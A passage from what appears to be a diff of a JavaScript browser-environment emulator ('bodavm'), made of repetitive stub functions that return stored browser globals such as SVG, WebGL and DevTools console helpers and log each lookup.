bodavm.envFunc.window_SVGAnimatedLength = function () { let arg = bodavm.memory.globalobj['SVGAnimatedLength']; console.log(`window_SVGAnimatedLength`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGAnimatedLengthList = function () { let arg = bodavm.memory.globalobj['SVGAnimatedLengthList']; console.log(`window_SVGAnimatedLengthList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGAnimatedNumber = function () { let arg = bodavm.memory.globalobj['SVGAnimatedNumber']; console.log(`window_SVGAnimatedNumber`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGAnimatedNumberList = function () { let arg = bodavm.memory.globalobj['SVGAnimatedNumberList']; console.log(`window_SVGAnimatedNumberList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGAnimatedPreserveAspectRatio = function () { let arg = bodavm.memory.globalobj['SVGAnimatedPreserveAspectRatio']; console.log(`window_SVGAnimatedPreserveAspectRatio`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGAnimatedRect = function () { let arg = bodavm.memory.globalobj['SVGAnimatedRect']; console.log(`window_SVGAnimatedRect`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGAnimatedString = function () { let arg = bodavm.memory.globalobj['SVGAnimatedString']; console.log(`window_SVGAnimatedString`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGAnimatedTransformList = function () { let arg = bodavm.memory.globalobj['SVGAnimatedTransformList']; console.log(`window_SVGAnimatedTransformList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGAnimationElement = function () { let arg = bodavm.memory.globalobj['SVGAnimationElement']; console.log(`window_SVGAnimationElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGCircleElement = function () { let arg = bodavm.memory.globalobj['SVGCircleElement']; console.log(`window_SVGCircleElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGClipPathElement = function () { let arg = bodavm.memory.globalobj['SVGClipPathElement']; console.log(`window_SVGClipPathElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGComponentTransferFunctionElement = function () { let arg = bodavm.memory.globalobj['SVGComponentTransferFunctionElement']; console.log(`window_SVGComponentTransferFunctionElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGDefsElement = function () { let arg = bodavm.memory.globalobj['SVGDefsElement']; console.log(`window_SVGDefsElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGDescElement = function () { let arg = bodavm.memory.globalobj['SVGDescElement']; console.log(`window_SVGDescElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGElement = function () { let arg = bodavm.memory.globalobj['SVGElement']; console.log(`window_SVGElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGEllipseElement = function () { let arg = bodavm.memory.globalobj['SVGEllipseElement']; console.log(`window_SVGEllipseElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFEBlendElement = function () { let arg = bodavm.memory.globalobj['SVGFEBlendElement']; console.log(`window_SVGFEBlendElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFEColorMatrixElement = function () { let arg = bodavm.memory.globalobj['SVGFEColorMatrixElement']; console.log(`window_SVGFEColorMatrixElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFEComponentTransferElement = function () { let arg = bodavm.memory.globalobj['SVGFEComponentTransferElement']; console.log(`window_SVGFEComponentTransferElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFECompositeElement = function () { let arg = bodavm.memory.globalobj['SVGFECompositeElement']; console.log(`window_SVGFECompositeElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFEConvolveMatrixElement = function () { let arg = bodavm.memory.globalobj['SVGFEConvolveMatrixElement']; console.log(`window_SVGFEConvolveMatrixElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFEDiffuseLightingElement = function () { let arg = bodavm.memory.globalobj['SVGFEDiffuseLightingElement']; console.log(`window_SVGFEDiffuseLightingElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFEDisplacementMapElement = function () { let arg = bodavm.memory.globalobj['SVGFEDisplacementMapElement']; console.log(`window_SVGFEDisplacementMapElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFEDistantLightElement = function () { let arg = bodavm.memory.globalobj['SVGFEDistantLightElement']; console.log(`window_SVGFEDistantLightElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFEDropShadowElement = function () { let arg = bodavm.memory.globalobj['SVGFEDropShadowElement']; console.log(`window_SVGFEDropShadowElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFEFloodElement = function () { let arg = bodavm.memory.globalobj['SVGFEFloodElement']; console.log(`window_SVGFEFloodElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFEFuncAElement = function () { let arg = bodavm.memory.globalobj['SVGFEFuncAElement']; console.log(`window_SVGFEFuncAElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFEFuncBElement = function () { let arg = bodavm.memory.globalobj['SVGFEFuncBElement']; console.log(`window_SVGFEFuncBElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFEFuncGElement = function () { let arg = bodavm.memory.globalobj['SVGFEFuncGElement']; console.log(`window_SVGFEFuncGElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFEFuncRElement = function () { let arg = bodavm.memory.globalobj['SVGFEFuncRElement']; console.log(`window_SVGFEFuncRElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFEGaussianBlurElement = function () { let arg = bodavm.memory.globalobj['SVGFEGaussianBlurElement']; console.log(`window_SVGFEGaussianBlurElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFEImageElement = function () { let arg = bodavm.memory.globalobj['SVGFEImageElement']; console.log(`window_SVGFEImageElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFEMergeElement = function () { let arg = bodavm.memory.globalobj['SVGFEMergeElement']; console.log(`window_SVGFEMergeElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFEMergeNodeElement = function () { let arg = bodavm.memory.globalobj['SVGFEMergeNodeElement']; console.log(`window_SVGFEMergeNodeElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFEMorphologyElement = function () { let arg = bodavm.memory.globalobj['SVGFEMorphologyElement']; console.log(`window_SVGFEMorphologyElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFEOffsetElement = function () { let arg = bodavm.memory.globalobj['SVGFEOffsetElement']; console.log(`window_SVGFEOffsetElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFEPointLightElement = function () { let arg = bodavm.memory.globalobj['SVGFEPointLightElement']; console.log(`window_SVGFEPointLightElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFESpecularLightingElement = function () { let arg = bodavm.memory.globalobj['SVGFESpecularLightingElement']; console.log(`window_SVGFESpecularLightingElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFESpotLightElement = function () { let arg = bodavm.memory.globalobj['SVGFESpotLightElement']; console.log(`window_SVGFESpotLightElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFETileElement = function () { let arg = bodavm.memory.globalobj['SVGFETileElement']; console.log(`window_SVGFETileElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFETurbulenceElement = function () { let arg = bodavm.memory.globalobj['SVGFETurbulenceElement']; console.log(`window_SVGFETurbulenceElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFilterElement = function () { let arg = bodavm.memory.globalobj['SVGFilterElement']; console.log(`window_SVGFilterElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGForeignObjectElement = function () { let arg = bodavm.memory.globalobj['SVGForeignObjectElement']; console.log(`window_SVGForeignObjectElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGGElement = function () { let arg = bodavm.memory.globalobj['SVGGElement']; console.log(`window_SVGGElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGGeometryElement = function () { let arg = bodavm.memory.globalobj['SVGGeometryElement']; console.log(`window_SVGGeometryElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGGradientElement = function () { let arg = bodavm.memory.globalobj['SVGGradientElement']; console.log(`window_SVGGradientElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGGraphicsElement = function () { let arg = bodavm.memory.globalobj['SVGGraphicsElement']; console.log(`window_SVGGraphicsElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGImageElement = function () { let arg = bodavm.memory.globalobj['SVGImageElement']; console.log(`window_SVGImageElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGLength = function () { let arg = bodavm.memory.globalobj['SVGLength']; console.log(`window_SVGLength`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGLengthList = function () { let arg = bodavm.memory.globalobj['SVGLengthList']; console.log(`window_SVGLengthList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGLineElement = function () { let arg = bodavm.memory.globalobj['SVGLineElement']; console.log(`window_SVGLineElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGLinearGradientElement = function () { let arg = bodavm.memory.globalobj['SVGLinearGradientElement']; console.log(`window_SVGLinearGradientElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGMPathElement = function () { let arg = bodavm.memory.globalobj['SVGMPathElement']; console.log(`window_SVGMPathElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGMarkerElement = function () { let arg = bodavm.memory.globalobj['SVGMarkerElement']; console.log(`window_SVGMarkerElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGMaskElement = function () { let arg = bodavm.memory.globalobj['SVGMaskElement']; console.log(`window_SVGMaskElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGMatrix = function () { let arg = bodavm.memory.globalobj['SVGMatrix']; console.log(`window_SVGMatrix`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGMetadataElement = function () { let arg = bodavm.memory.globalobj['SVGMetadataElement']; console.log(`window_SVGMetadataElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGNumber = function () { let arg = bodavm.memory.globalobj['SVGNumber']; console.log(`window_SVGNumber`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGNumberList = function () { let arg = bodavm.memory.globalobj['SVGNumberList']; console.log(`window_SVGNumberList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGPathElement = function () { let arg = bodavm.memory.globalobj['SVGPathElement']; console.log(`window_SVGPathElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGPatternElement = function () { let arg = bodavm.memory.globalobj['SVGPatternElement']; console.log(`window_SVGPatternElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGPoint = function () { let arg = bodavm.memory.globalobj['SVGPoint']; console.log(`window_SVGPoint`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGPointList = function () { let arg = bodavm.memory.globalobj['SVGPointList']; console.log(`window_SVGPointList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGPolygonElement = function () { let arg = bodavm.memory.globalobj['SVGPolygonElement']; console.log(`window_SVGPolygonElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGPolylineElement = function () { let arg = bodavm.memory.globalobj['SVGPolylineElement']; console.log(`window_SVGPolylineElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGPreserveAspectRatio = function () { let arg = bodavm.memory.globalobj['SVGPreserveAspectRatio']; console.log(`window_SVGPreserveAspectRatio`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGRadialGradientElement = function () { let arg = bodavm.memory.globalobj['SVGRadialGradientElement']; console.log(`window_SVGRadialGradientElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGRect = function () { let arg = bodavm.memory.globalobj['SVGRect']; console.log(`window_SVGRect`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGRectElement = function () { let arg = bodavm.memory.globalobj['SVGRectElement']; console.log(`window_SVGRectElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGSVGElement = function () { let arg = bodavm.memory.globalobj['SVGSVGElement']; console.log(`window_SVGSVGElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGScriptElement = function () { let arg = bodavm.memory.globalobj['SVGScriptElement']; console.log(`window_SVGScriptElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGSetElement = function () { let arg = bodavm.memory.globalobj['SVGSetElement']; console.log(`window_SVGSetElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGStopElement = function () { let arg = bodavm.memory.globalobj['SVGStopElement']; console.log(`window_SVGStopElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGStringList = function () { let arg = bodavm.memory.globalobj['SVGStringList']; console.log(`window_SVGStringList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGStyleElement = function () { let arg = bodavm.memory.globalobj['SVGStyleElement']; console.log(`window_SVGStyleElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGSwitchElement = function () { let arg = bodavm.memory.globalobj['SVGSwitchElement']; console.log(`window_SVGSwitchElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGSymbolElement = function () { let arg = bodavm.memory.globalobj['SVGSymbolElement']; console.log(`window_SVGSymbolElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGTSpanElement = function () { let arg = bodavm.memory.globalobj['SVGTSpanElement']; console.log(`window_SVGTSpanElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGTextContentElement = function () { let arg = bodavm.memory.globalobj['SVGTextContentElement']; console.log(`window_SVGTextContentElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGTextElement = function () { let arg = bodavm.memory.globalobj['SVGTextElement']; console.log(`window_SVGTextElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGTextPathElement = function () { let arg = bodavm.memory.globalobj['SVGTextPathElement']; console.log(`window_SVGTextPathElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGTextPositioningElement = function () { let arg = bodavm.memory.globalobj['SVGTextPositioningElement']; console.log(`window_SVGTextPositioningElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGTitleElement = function () { let arg = bodavm.memory.globalobj['SVGTitleElement']; console.log(`window_SVGTitleElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGTransform = function () { let arg = bodavm.memory.globalobj['SVGTransform']; console.log(`window_SVGTransform`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGTransformList = function () { let arg = bodavm.memory.globalobj['SVGTransformList']; console.log(`window_SVGTransformList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGUnitTypes = function () { let arg = bodavm.memory.globalobj['SVGUnitTypes']; console.log(`window_SVGUnitTypes`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGUseElement = function () { let arg = bodavm.memory.globalobj['SVGUseElement']; console.log(`window_SVGUseElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGViewElement = function () { let arg = bodavm.memory.globalobj['SVGViewElement']; console.log(`window_SVGViewElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ScreenOrientation = function () { let arg = bodavm.memory.globalobj['ScreenOrientation']; console.log(`window_ScreenOrientation`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ScriptProcessorNode = function () { let arg = bodavm.memory.globalobj['ScriptProcessorNode']; console.log(`window_ScriptProcessorNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SecurityPolicyViolationEvent = function () { let arg = bodavm.memory.globalobj['SecurityPolicyViolationEvent']; console.log(`window_SecurityPolicyViolationEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Selection = function () { let arg = bodavm.memory.globalobj['Selection']; console.log(`window_Selection`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ShadowRoot = function () { let arg = bodavm.memory.globalobj['ShadowRoot']; console.log(`window_ShadowRoot`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_StaticRange = function () { let arg = bodavm.memory.globalobj['StaticRange']; console.log(`window_StaticRange`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_StereoPannerNode = function () { let arg = bodavm.memory.globalobj['StereoPannerNode']; console.log(`window_StereoPannerNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_StorageEvent = function () { let arg = bodavm.memory.globalobj['StorageEvent']; console.log(`window_StorageEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_StylePropertyMap = function () { let arg = bodavm.memory.globalobj['StylePropertyMap']; console.log(`window_StylePropertyMap`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_StylePropertyMapReadOnly = function () { let arg = bodavm.memory.globalobj['StylePropertyMapReadOnly']; console.log(`window_StylePropertyMapReadOnly`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_StyleSheet = function () { let arg = bodavm.memory.globalobj['StyleSheet']; console.log(`window_StyleSheet`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_StyleSheetList = function () { let arg = bodavm.memory.globalobj['StyleSheetList']; console.log(`window_StyleSheetList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SubmitEvent = function () { let arg = bodavm.memory.globalobj['SubmitEvent']; console.log(`window_SubmitEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SyncManager = function () { let arg = bodavm.memory.globalobj['SyncManager']; console.log(`window_SyncManager`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TaskAttributionTiming = function () { let arg = bodavm.memory.globalobj['TaskAttributionTiming']; console.log(`window_TaskAttributionTiming`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Text = function () { let arg = bodavm.memory.globalobj['Text']; console.log(`window_Text`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TextDecoder = function () { let arg = bodavm.memory.globalobj['TextDecoder']; console.log(`window_TextDecoder`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TextDecoderStream = function () { let arg = bodavm.memory.globalobj['TextDecoderStream']; console.log(`window_TextDecoderStream`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TextEncoder = function () { let arg = bodavm.memory.globalobj['TextEncoder']; console.log(`window_TextEncoder`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TextEncoderStream = function () { let arg = bodavm.memory.globalobj['TextEncoderStream']; console.log(`window_TextEncoderStream`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TextEvent = function () { let arg = bodavm.memory.globalobj['TextEvent']; console.log(`window_TextEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TextMetrics = function () { let arg = bodavm.memory.globalobj['TextMetrics']; console.log(`window_TextMetrics`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TextTrack = function () { let arg = bodavm.memory.globalobj['TextTrack']; console.log(`window_TextTrack`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TextTrackCue = function () { let arg = bodavm.memory.globalobj['TextTrackCue']; console.log(`window_TextTrackCue`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TextTrackCueList = function () { let arg = bodavm.memory.globalobj['TextTrackCueList']; console.log(`window_TextTrackCueList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TextTrackList = function () { let arg = bodavm.memory.globalobj['TextTrackList']; console.log(`window_TextTrackList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TimeRanges = function () { let arg = bodavm.memory.globalobj['TimeRanges']; console.log(`window_TimeRanges`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Touch = function () { let arg = bodavm.memory.globalobj['Touch']; console.log(`window_Touch`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TouchEvent = function () { let arg = bodavm.memory.globalobj['TouchEvent']; console.log(`window_TouchEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TouchList = function () { let arg = bodavm.memory.globalobj['TouchList']; console.log(`window_TouchList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TrackEvent = function () { let arg = bodavm.memory.globalobj['TrackEvent']; console.log(`window_TrackEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TransformStream = function () { let arg = bodavm.memory.globalobj['TransformStream']; console.log(`window_TransformStream`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TransitionEvent = function () { let arg = bodavm.memory.globalobj['TransitionEvent']; console.log(`window_TransitionEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TreeWalker = function () { let arg = bodavm.memory.globalobj['TreeWalker']; console.log(`window_TreeWalker`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_UIEvent = function () { let arg = bodavm.memory.globalobj['UIEvent']; console.log(`window_UIEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_URL = function () { let arg = bodavm.memory.globalobj['URL']; console.log(`window_URL`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_URLSearchParams = function () { let arg = bodavm.memory.globalobj['URLSearchParams']; console.log(`window_URLSearchParams`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_UserActivation = function () { let arg = bodavm.memory.globalobj['UserActivation']; console.log(`window_UserActivation`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_VTTCue = function () { let arg = bodavm.memory.globalobj['VTTCue']; console.log(`window_VTTCue`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ValidityState = function () { let arg = bodavm.memory.globalobj['ValidityState']; console.log(`window_ValidityState`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WaveShaperNode = function () { let arg = bodavm.memory.globalobj['WaveShaperNode']; console.log(`window_WaveShaperNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebGL2RenderingContext = function () { let arg = bodavm.memory.globalobj['WebGL2RenderingContext']; console.log(`window_WebGL2RenderingContext`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebGLActiveInfo = function () { let arg = bodavm.memory.globalobj['WebGLActiveInfo']; console.log(`window_WebGLActiveInfo`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebGLBuffer = function () { let arg = bodavm.memory.globalobj['WebGLBuffer']; console.log(`window_WebGLBuffer`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebGLContextEvent = function () { let arg = bodavm.memory.globalobj['WebGLContextEvent']; console.log(`window_WebGLContextEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebGLFramebuffer = function () { let arg = bodavm.memory.globalobj['WebGLFramebuffer']; console.log(`window_WebGLFramebuffer`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebGLProgram = function () { let arg = bodavm.memory.globalobj['WebGLProgram']; console.log(`window_WebGLProgram`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebGLQuery = function () { let arg = bodavm.memory.globalobj['WebGLQuery']; console.log(`window_WebGLQuery`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebGLRenderbuffer = function () { let arg = bodavm.memory.globalobj['WebGLRenderbuffer']; console.log(`window_WebGLRenderbuffer`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebGLRenderingContext = function () { let arg = bodavm.memory.globalobj['WebGLRenderingContext']; console.log(`window_WebGLRenderingContext`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebGLSampler = function () { let arg = bodavm.memory.globalobj['WebGLSampler']; console.log(`window_WebGLSampler`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebGLShader = function () { let arg = bodavm.memory.globalobj['WebGLShader']; console.log(`window_WebGLShader`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebGLShaderPrecisionFormat = function () { let arg = bodavm.memory.globalobj['WebGLShaderPrecisionFormat']; console.log(`window_WebGLShaderPrecisionFormat`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebGLSync = function () { let arg = bodavm.memory.globalobj['WebGLSync']; console.log(`window_WebGLSync`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebGLTexture = function () { let arg = bodavm.memory.globalobj['WebGLTexture']; console.log(`window_WebGLTexture`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebGLTransformFeedback = function () { let arg = bodavm.memory.globalobj['WebGLTransformFeedback']; console.log(`window_WebGLTransformFeedback`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebGLUniformLocation = function () { let arg = bodavm.memory.globalobj['WebGLUniformLocation']; console.log(`window_WebGLUniformLocation`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebGLVertexArrayObject = function () { let arg = bodavm.memory.globalobj['WebGLVertexArrayObject']; console.log(`window_WebGLVertexArrayObject`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebSocket = function () { let arg = bodavm.memory.globalobj['WebSocket']; console.log(`window_WebSocket`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WheelEvent = function () { let arg = bodavm.memory.globalobj['WheelEvent']; console.log(`window_WheelEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Worker = function () { let arg = bodavm.memory.globalobj['Worker']; console.log(`window_Worker`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WritableStream = function () { let arg = bodavm.memory.globalobj['WritableStream']; console.log(`window_WritableStream`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WritableStreamDefaultController = function () { let arg = bodavm.memory.globalobj['WritableStreamDefaultController']; console.log(`window_WritableStreamDefaultController`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WritableStreamDefaultWriter = function () { let arg = bodavm.memory.globalobj['WritableStreamDefaultWriter']; console.log(`window_WritableStreamDefaultWriter`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XMLDocument = function () { let arg = bodavm.memory.globalobj['XMLDocument']; console.log(`window_XMLDocument`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XMLHttpRequest = function () { let arg = bodavm.memory.globalobj['XMLHttpRequest']; console.log(`window_XMLHttpRequest`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XMLHttpRequestEventTarget = function () { let arg = bodavm.memory.globalobj['XMLHttpRequestEventTarget']; console.log(`window_XMLHttpRequestEventTarget`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XMLHttpRequestUpload = function () { let arg = bodavm.memory.globalobj['XMLHttpRequestUpload']; console.log(`window_XMLHttpRequestUpload`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XMLSerializer = function () { let arg = bodavm.memory.globalobj['XMLSerializer']; console.log(`window_XMLSerializer`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XPathEvaluator = function () { let arg = bodavm.memory.globalobj['XPathEvaluator']; console.log(`window_XPathEvaluator`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XPathExpression = function () { let arg = bodavm.memory.globalobj['XPathExpression']; console.log(`window_XPathExpression`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XPathResult = function () { let arg = bodavm.memory.globalobj['XPathResult']; console.log(`window_XPathResult`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebKitCSSMatrix = function () { let arg = bodavm.memory.globalobj['DOMMatrix']; console.log(`window_WebKitCSSMatrix`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebKitMutationObserver = function () { let arg = bodavm.memory.globalobj['MutationObserver']; console.log(`window_WebKitMutationObserver`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_webkitMediaStream = function () { let arg = bodavm.memory.globalobj['webkitMediaStream']; console.log(`window_webkitMediaStream`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_$x = function () { let arg = bodavm.memory.globalobj['$x']; console.log_copy(`window_$x`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_$$ = function () { let arg = bodavm.memory.globalobj['$$']; console.log_copy(`window_$$`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_$ = function () { let arg = bodavm.memory.globalobj['$']; console.log_copy(`window_$`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_unmonitorEvents = function () { let arg = bodavm.memory.globalobj['unmonitorEvents']; console.log_copy(`window_unmonitorEvents`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_monitorEvents = function () { let arg = bodavm.memory.globalobj['monitorEvents']; console.log_copy(`window_monitorEvents`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_getAccessibleRole = function () { let arg = bodavm.memory.globalobj['getAccessibleRole']; console.log_copy(`window_getAccessibleRole`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_getAccessibleName = function () { let arg = bodavm.memory.globalobj['getAccessibleName']; console.log_copy(`window_getAccessibleName`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_getEventListeners = function () { let arg = bodavm.memory.globalobj['getEventListeners']; console.log_copy(`window_getEventListeners`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_queryObjects = function () { let arg = bodavm.memory.globalobj['queryObjects']; console.log_copy(`window_queryObjects`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_copy = function () { let arg = bodavm.memory.globalobj['copy']; console.log_copy(`window_copy`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_inspect = function () { let arg = bodavm.memory.globalobj['inspect']; console.log_copy(`window_inspect`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_unmonitor = function () { let arg = 